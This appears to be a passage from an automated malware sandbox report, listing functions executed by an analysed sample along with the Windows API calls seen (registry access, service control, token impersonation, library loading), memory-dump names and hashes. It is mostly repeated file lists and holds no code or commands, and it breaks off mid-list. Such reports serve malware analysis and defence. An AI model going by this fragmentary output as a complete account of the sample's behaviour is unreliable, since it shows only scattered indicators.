Total number of Limit Nodes:	2

Executed Functions

Function 00867241 Relevance: 1.6, APIs: 1, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00867241

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3253dbbd80c0f773f95d9b9542d41078a45cf69f0824a5080f50667fb7e16808
Instruction ID: ded303d6d659f0b93c1af5c999bd3bf4d3478963e426791cdb636edfe61ab809
Opcode Fuzzy Hash: 3253dbbd80c0f773f95d9b9542d41078a45cf69f0824a5080f50667fb7e16808
Instruction Fuzzy Hash: FC3115B650C700EFE301AF19E880A7AFBE5FF98764F124C2DE5D582210D27559948B57

Function 006EB81A Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 006EB98A

Memory Dump Source

Source File: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 97ba6f6bb0a9a591901765b3cf7c5d5129dcba5a493ec23cd9bc432d7feafbc7
Instruction ID: 8dcb8a27eaa577b110509f0b62bb66d082f41563ecc63493405894a09a964013
Opcode Fuzzy Hash: 97ba6f6bb0a9a591901765b3cf7c5d5129dcba5a493ec23cd9bc432d7feafbc7
Instruction Fuzzy Hash: D6E08C311067C99ADB569F6298027AB7A0BEF42700F202219BA018AF5ACB2D0C118799

Function 00876B5E Relevance: 4.6, APIs: 3, Instructions: 85
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00878588
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 008785AF
GetNativeSystemInfo.KERNELBASE(?), ref: 00878606

Memory Dump Source

Source File: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: ef15706e01e70fe043052fdaf0440232795c41522431a4b81d1e22c7db8cc6b8
Instruction ID: 6a6039f336f6cb0181031e5ad42a96e7556fd3ee35de6001128d76a1d971940b
Opcode Fuzzy Hash: ef15706e01e70fe043052fdaf0440232795c41522431a4b81d1e22c7db8cc6b8
Instruction Fuzzy Hash: DE315A7141020EEEEF11DF60C848BEE36E9FB05304F108426E989D2945D7BA8DA89F9D

Function 0086710C Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0086710C

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e17a5efbd52a3b51c091ae2ef765d4ec48d4e806aa76547c726966509e7088c9
Instruction ID: 70839a3e3622c6f1f1cfa07cdd7378d173926bf206e3901183a138295140fe20
Opcode Fuzzy Hash: e17a5efbd52a3b51c091ae2ef765d4ec48d4e806aa76547c726966509e7088c9
Instruction Fuzzy Hash: A33129F291C610AFE709AF18D8817BABBE5EF88710F06492DE6C683350E6355850CBD7

Function 04C50D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C50DCD

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cadce94847f28715eec1d2082d7f4349b248745ff2827dea16dfdfce7c56a643
Instruction ID: 41df6026b64317ad5328d984e84901e96c79fdaad7e688295b32ddcd30ca856a
Opcode Fuzzy Hash: cadce94847f28715eec1d2082d7f4349b248745ff2827dea16dfdfce7c56a643
Instruction Fuzzy Hash: 852138B6C01218CFCB10CF9AD585ADEFBF1FF88310F14811AD808AB254C734A541CBA4

Function 04C50D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C50DCD

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 69bdd148a79eb83bad3a02bbabf355be580b5f73e83334be02309fd83451b351
Instruction ID: 8f2ce08606f484a4b9a3813a2147fbdae813254c6715b6050561e75c12d2dea4
Opcode Fuzzy Hash: 69bdd148a79eb83bad3a02bbabf355be580b5f73e83334be02309fd83451b351
Instruction Fuzzy Hash: 282115B6C01218DFCB50CF9AD885ADEFBF5FB88720F14851AD808AB254D734A540CBA4

Function 04C51509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C51580

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: f95da48f7c3a3da95099c52a8c550dbd60837d9791f925a40f2efb2e9471ef6d
Instruction ID: 30254c0e82cbfa4fdcd61c3479176be1577011d10dd2817d0eed7e2404a42c0d
Opcode Fuzzy Hash: f95da48f7c3a3da95099c52a8c550dbd60837d9791f925a40f2efb2e9471ef6d
Instruction Fuzzy Hash: F82114B1D00249DFDB10CF9AD584BDEFBF4BB48324F14802AE958A7250C778A684CFA5

Function 04C51510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C51580

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0f5e477ab72c0de72a8e15035c34add5dbf84c8f594e489b566d01f02fd9ca7e
Instruction ID: 5673dad9ad797c4968ad766ef5ad8bc7e1f50c4837c98820b9fcaefac6b7f387
Opcode Fuzzy Hash: 0f5e477ab72c0de72a8e15035c34add5dbf84c8f594e489b566d01f02fd9ca7e
Instruction Fuzzy Hash: 771114B1D00249DFDB10CF9AC584BDEFBF4EB48320F14802AE958A3250D778A684CFA5

Function 04C51301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C51367

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 43957aee1b5d5fb292406bd88f288ec208437b9da4af713b87550137c75c3002
Instruction ID: 02f2b5cfcfbe1d0a7ad3c3898e9fb72564228abf6ee19007ec6cc48ef4363cd8
Opcode Fuzzy Hash: 43957aee1b5d5fb292406bd88f288ec208437b9da4af713b87550137c75c3002
Instruction Fuzzy Hash: 3D1155B1800209CFDB10DF9AD448BDEFBF4EF48324F24842AD458A7250D738A584CFA5

Function 04C51308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C51367

Memory Dump Source

Source File: 00000004.00000002.2113936093.0000000004C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c50000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: d9d9403fe6af978ef6318c1bb294140056593005142c6282d299dc7b964c9fc3
Instruction ID: 336404cc3a7cc3671e438ae2d2c2eb24245e603e629273cca0b295e13d940a69
Opcode Fuzzy Hash: d9d9403fe6af978ef6318c1bb294140056593005142c6282d299dc7b964c9fc3
Instruction Fuzzy Hash: C01145B1800259CFDB10CF9AD548BDEFBF8EF48324F24842AD558A3250D778A984CFA5

Function 0086A94C Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0086A978

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
